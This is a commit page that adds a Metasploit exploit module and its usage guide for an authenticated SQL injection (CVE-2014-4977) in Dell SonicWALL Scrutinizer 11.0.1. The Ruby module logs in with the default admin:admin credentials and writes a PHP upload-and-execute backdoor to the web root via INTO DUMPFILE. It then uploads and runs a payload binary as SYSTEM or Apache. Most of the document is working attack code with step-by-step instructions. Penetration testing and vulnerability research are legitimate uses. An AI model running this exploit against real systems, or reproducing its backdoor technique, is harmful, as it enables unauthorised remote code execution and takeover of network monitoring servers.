Land #6867, Add Dell SonicWALL Scrutinizer 11.0.1 MethodDetail SQL Injection
commit
cf0176e68b
|
@ -0,0 +1,67 @@
|
|||
Dell SonicWALL Scrutinizer is multi-vendor, application traffic analytics, visualization and
|
||||
reporting tool to measure and troubleshoot real-time network performance. It is used by routers,
|
||||
firewalls, and other network equipment products.
|
||||
|
||||
In version 11.0.1, SonicWall Scrutinizer suffers from a vulnerability that allows a remote
|
||||
attacker to inject a malicious SQL string into the methodDetail parameter, and then gain
|
||||
control of execution under the context of SYSTEM on Windows, or Apache on Linux.
|
||||
|
||||
Authentication is required to exploit this vulnerability. However, SonicWALL Scrutinizer does
|
||||
come with a default username and password (admin:admin), which is also somewhat unsafe.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
As reported by the vendor, only version 11.0.1 is vulnerable to the SQL injection attack.
|
||||
|
||||
For testing purposes, you may download the vulnerable version of Dell SonicWALL Scrutinizer for Windows from:
|
||||
[http://software.sonicwall.com/ScrutinizerSW/184-003184-00_Rev_A_sonicwall-oem-Scrutinizer-windows-installer.exe](http://software.sonicwall.com/ScrutinizerSW/184-003184-00_Rev_A_sonicwall-oem-Scrutinizer-windows-installer.exe).
|
||||
|
||||
If you prefer the appliance, then you can get it from: [http://software.sonicwall.com/scrutinizerVA/184-003186-00_Rev_A_Dell_SonicWALL_ScrutinizerVA.zip](http://software.sonicwall.com/scrutinizerVA/184-003186-00_Rev_A_Dell_SonicWALL_ScrutinizerVA.zip).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
For testing purposes, the Windows installer is a bit easier to use. You should be able to complete
|
||||
it by simply following the instructions on the screen.
|
||||
|
||||
The Linux appliance requires more steps. To be able to use this, make sure you have more than 20GB
|
||||
on disk. And you may need to modify the boot menu to [reset the root password](https://wiki.centos.org/TipsAndTricks/ResetRootPassword) if you cannot get around the scrutinizer login screen.
|
||||
|
||||
Using the sonicwall_scrutinizer_methoddetail_sqli module is rather straight-forward. Make sure
|
||||
you have a valid username and password, and configure the payload for the target. You will most
|
||||
likely use the module like this:
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```use exploit/multi/http/sonicwall_scrutinizer_methoddetail_sqli ```
|
||||
3. Do: ```set RHOST [TARGET IP]```
|
||||
5. Do: ```set PAYLOAD [PAYLOAD NAME]``` (use ```show payloads``` for more info)
|
||||
6. Do: ```exploit```
|
||||
|
||||
## Scenarios
|
||||
|
||||
sonicwall_scrutinizer_methoddetail_sqli supports two platforms: Windows and Linux. By default,
|
||||
it can automatically find the right OS, and configure the exploit and payload generation
|
||||
accordingly.
|
||||
|
||||
**Using the module against Windows platform**
|
||||
|
||||
If sonicwall_scrutinizer_methoddetail_sqli is able to exploit SonicWALL Scrutinizer successfully,
|
||||
on Windows you will be compromising the host as SYSTEM - the highest privilege. However, since
|
||||
Windows does not allow you to delete the malicious executable that is in use, you will have to
|
||||
do this manually at some point after you've migrated to a different process. The exploit should
|
||||
tell you where this binary is like this message:
|
||||
|
||||
```
|
||||
[!] This exploit may require manual cleanup of 'YrfCO.exe' on the target
|
||||
```
|
||||
|
||||
**Using the module against Linux platform**
|
||||
|
||||
For Linux platform, sonicwall_scrutinizer_methoddetail_sqli was specifically written against
|
||||
the Linux appliance provided by Dell, but it should also work against other similar machines.
|
||||
|
||||
Unlike Windows, if the module is able to successfully exploit the machine, you won't have the
|
||||
highest privilege, instead you start off with Apache.
|
||||
|
||||
Automatic cleanup is not an issue on Linux. Both the PHP backdoor and the Linux binary
|
||||
should be automatically removed without problems.
|
||||
|
|
@ -0,0 +1,401 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
WINDOWS = /^win/i
|
||||
LINUX = /linux/i
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Dell SonicWALL Scrutinizer 11.01 methodDetail SQL Injection",
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability found in Dell SonicWALL Scrutinizer. The methodDetail
|
||||
parameter in exporters.php allows an attacker to write arbitrary files to the file system
|
||||
with an SQL Injection attack, and gain remote code execution under the context of SYSTEM
|
||||
for Windows, or as Apache for Linux.
|
||||
|
||||
Authentication is required to exploit this vulnerability, but this module uses
|
||||
the default admin:admin credential.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bperry', # Original discovery, PoC, and Metasploit module
|
||||
'sinn3r' # Metasploit module for native support
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2014-4977' ],
|
||||
[ 'BID', '68495' ],
|
||||
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Jul/44' ],
|
||||
[ 'URL','https://gist.github.com/brandonprry/76741d9a0d4f518fe297' ]
|
||||
],
|
||||
'Arch' => [ ARCH_X86 ],
|
||||
'Platform' => [ 'win', 'linux' ],
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[
|
||||
'Dell SonicWALL Scrutinizer 11.01 on Windows',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win',
|
||||
}
|
||||
],
|
||||
[
|
||||
'Dell SonicWALL Scrutinizer 11.01 Linux Appliance',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Jul 24 2014',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base Application path", "/" ]),
|
||||
OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
|
||||
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'admin' ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
# Prints a message with the target's IP and port.
|
||||
#
|
||||
# @param msg [String] Message to print.
|
||||
# @return [void]
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
|
||||
# Prints an error message with the target's IP and port.
|
||||
#
|
||||
# @param msg [String] Message to print.
|
||||
# @return [void]
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
|
||||
# Pads NULL columns for a SQL injection string.
|
||||
#
|
||||
# @param n [Fixnum] Number of nulls
|
||||
# @return [String]
|
||||
def pad_null(n)
|
||||
padding = []
|
||||
|
||||
n.times do
|
||||
padding << 'NULL'
|
||||
end
|
||||
|
||||
padding * ','
|
||||
end
|
||||
|
||||
|
||||
# Checks (explicitly) the target for the vulnerability. To be able to check this, a
|
||||
# valid username/password is required.
|
||||
#
|
||||
# @return [void]
|
||||
def check
|
||||
begin
|
||||
res = do_login
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
uid = res['userid']
|
||||
sid = res['sessionid']
|
||||
pattern = Rex::Text.rand_text_alpha(10)
|
||||
sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
|
||||
res = do_sqli(sqli_str, sid, uid).get_json_document
|
||||
return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern
|
||||
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
|
||||
# Returns the OS information by using @@version_compile_os.
|
||||
#
|
||||
# @param sid [String] Session ID.
|
||||
# @param uid [String] User ID.
|
||||
# @return [String] The OS information.
|
||||
def get_os(sid, uid)
|
||||
sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}"
|
||||
res = do_sqli(sqli_str, sid, uid).get_json_document
|
||||
res['id']
|
||||
end
|
||||
|
||||
|
||||
# Returns target's d4d directory path that will be used to upload our malicious files.
|
||||
#
|
||||
# @param os [String] OS information.
|
||||
# @return [String]
|
||||
def get_d4d_path(os)
|
||||
case os
|
||||
when WINDOWS
|
||||
# On Windows, the full d4d path looks something like this:
|
||||
# C:\Program Files\Scrutinizer\html\d4d
|
||||
'../../html/d4d'
|
||||
when LINUX
|
||||
# On the Linux appliance, the d4d path looks exactly like this:
|
||||
'/home/plixer/scrutinizer/html/d4d'
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Logs into Dell SonicWALL Scrutinizer.
|
||||
#
|
||||
# @return [Hash] JSON response.
|
||||
def do_login
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'),
|
||||
'vars_get' => {
|
||||
'name' => datastore['USERNAME'],
|
||||
'pwd' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.')
|
||||
end
|
||||
|
||||
res = res.get_json_document
|
||||
|
||||
if res['noldapnouser']
|
||||
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
|
||||
elsif res['loginfailed']
|
||||
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
|
||||
end
|
||||
|
||||
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Saves a valid username/password to database.
|
||||
#
|
||||
# @param username [String]
|
||||
# @param password [String]
|
||||
# @return [void]
|
||||
def report_cred(username, password)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: self.fullname,
|
||||
origin_type: :service,
|
||||
username: username,
|
||||
private_data: password,
|
||||
private_type: :password
|
||||
}.merge(service_data)
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
last_attempted_at: DateTime.now,
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
|
||||
# Injects malicious SQL string to the methodDetail parameter against the target machine.
|
||||
#
|
||||
# @param method_detail [String] Malicious SQL injection string.
|
||||
# @param sid [String] Session ID.
|
||||
# @param uid [String] User ID.
|
||||
# @return [Rex::Proto::Http::Response]
|
||||
def do_sqli(method_detail, sid, uid)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri, '/d4d/exporters.php'),
|
||||
'vars_get' => { 'methodDetail'=> method_detail },
|
||||
'cookie' => "cookiesenabled=1;sessionid=#{sid};userid=#{uid}"
|
||||
})
|
||||
|
||||
unless res
|
||||
fail_with(Failure::Unknown, 'The connection timed out for exporters.php.')
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Returns a PHP backdoor that is to be uploaded onto the target machine.
|
||||
#
|
||||
# @param os [String] Target OS information.
|
||||
# @param target_path [String]
|
||||
# @return [String] PHP backdoor
|
||||
def get_php_backdoor(os)
|
||||
case os
|
||||
when WINDOWS
|
||||
chmod_code = %Q|chmod($bname, 0777);|
|
||||
exec_code = %Q|exec($bname);|
|
||||
when LINUX
|
||||
chmod_code = %Q|chmod("./" . $bname, 0777);|
|
||||
exec_code = %Q|exec("./" . $bname);|
|
||||
end
|
||||
|
||||
%Q|<?php
|
||||
$bname = basename( $_FILES['uploadedfile']['name']);
|
||||
$target_path = "./" . $bname;
|
||||
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path);
|
||||
#{chmod_code}
|
||||
#{exec_code}
|
||||
?>
|
||||
|.gsub(/\x20{4}/, ' ')
|
||||
end
|
||||
|
||||
|
||||
# Uploads the executable payload via malicious PHP backdoor.
|
||||
#
|
||||
# @param backdoor_fname [String] Name of the backdoor
|
||||
# @param payload_fname [String] Name of the executable payload
|
||||
# @return [void]
|
||||
def upload_payload(backdoor_fname, payload_fname)
|
||||
p = generate_payload_exe(
|
||||
code: payload.encoded,
|
||||
platform: @my_target.platform,
|
||||
arch: @my_target.arch
|
||||
)
|
||||
|
||||
print_status("Uploading #{payload_fname} (#{p.length} bytes)...")
|
||||
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(
|
||||
p,
|
||||
'application/octet-stream',
|
||||
'binary',
|
||||
"form-data; name=\"uploadedfile\"; filename=\"#{payload_fname}\""
|
||||
)
|
||||
data = post_data.to_s
|
||||
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, "/d4d/#{backdoor_fname}"),
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'data' => data
|
||||
})
|
||||
|
||||
unless res
|
||||
# Here we are not using fail_with, because when we get a session, it seems to be creating
|
||||
# the same effect as connection hanging... and then eventually times out. If that
|
||||
# happens, a fail_with() can cause msfconsole to believe there is no session created.
|
||||
vprint_status('Connection timed out while uploading payload.')
|
||||
return
|
||||
end
|
||||
|
||||
if res.code == 404
|
||||
fail_with(Failure::Unknown, "Server returned 404 for #{backdoor_fname}.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Uploads the PHP backdoor onto the target machine. The reason of using a PHP backdoor to upload
|
||||
# is because our SQL injection is in a GET method, and Apache has a max length of 8190 bytes,
|
||||
# which is bad for some built-in or custom payloads.
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts [String] :d4d_path
|
||||
# @option opts [String] :backdoor_fname
|
||||
# @option opts [String] :payload_fname
|
||||
# @option opts [String] :sid
|
||||
# @option opts [String] :uid
|
||||
# @option opts [String] :os
|
||||
# @return [void]
|
||||
def upload_php_backdoor(opts)
|
||||
d4d_path = opts[:d4d_path]
|
||||
backdoor_fname = opts[:backdoor_fname]
|
||||
payload_fname = opts[:payload_fname]
|
||||
sid = opts[:sid]
|
||||
uid = opts[:uid]
|
||||
os = opts[:os]
|
||||
|
||||
print_status("Injecting a PHP upload backdoor (#{backdoor_fname})...")
|
||||
hex_backdoor = get_php_backdoor(os).unpack("H*")[0]
|
||||
sqli_str = "-6045 UNION ALL SELECT 0x#{hex_backdoor},#{pad_null(19)} INTO DUMPFILE '#{d4d_path}/#{backdoor_fname}' #"
|
||||
do_sqli(sqli_str, sid, uid)
|
||||
end
|
||||
|
||||
|
||||
# Attempts a SQL injection attack against the target machine.
|
||||
#
|
||||
# @param os [String] OS information.
|
||||
# @param sid [String] Session ID.
|
||||
# @param uid [String] User ID.
|
||||
# @return [void]
|
||||
def do_backdoor_sqli(os, sid, uid)
|
||||
backdoor_fname = "#{Rex::Text.rand_text_alpha(6)}.php"
|
||||
payload_fname = Rex::Text.rand_text_alpha(5)
|
||||
payload_fname << '.exe' if @my_target['Platform'].match(WINDOWS)
|
||||
d4d_path = get_d4d_path(os)
|
||||
|
||||
register_files_for_cleanup(backdoor_fname, payload_fname)
|
||||
|
||||
opts = {
|
||||
d4d_path: d4d_path,
|
||||
backdoor_fname: backdoor_fname,
|
||||
payload_fname: payload_fname,
|
||||
sid: sid,
|
||||
uid: uid,
|
||||
os: os
|
||||
}
|
||||
|
||||
upload_php_backdoor(opts)
|
||||
upload_payload(backdoor_fname, payload_fname)
|
||||
end
|
||||
|
||||
|
||||
# Tries to set the target. If the user manually set one, then avoid automatic target.
|
||||
#
|
||||
# @param os [String] OS information.
|
||||
# @return [void]
|
||||
def try_set_target(os)
|
||||
@my_target = target if target != targets[0]
|
||||
case os
|
||||
when WINDOWS
|
||||
@my_target = targets[1]
|
||||
when LINUX
|
||||
@my_target = targets[2]
|
||||
else
|
||||
fail_with(Failure::NoTarget, 'Unsupported target')
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
# Exploits the target machine. To do this, first we must log into the system in order to obtain
|
||||
# the user ID and session ID. After logging in, we can ask the vulnerable code to upload a
|
||||
# malicious PHP backdoor, and then finally use that backdoor to upload and execute our payload.
|
||||
def exploit
|
||||
res = do_login
|
||||
uid = res['userid']
|
||||
sid = res['sessionid']
|
||||
os = get_os(sid, uid)
|
||||
print_status("Detected OS information: #{os}")
|
||||
try_set_target(os)
|
||||
do_backdoor_sqli(os, sid, uid)
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue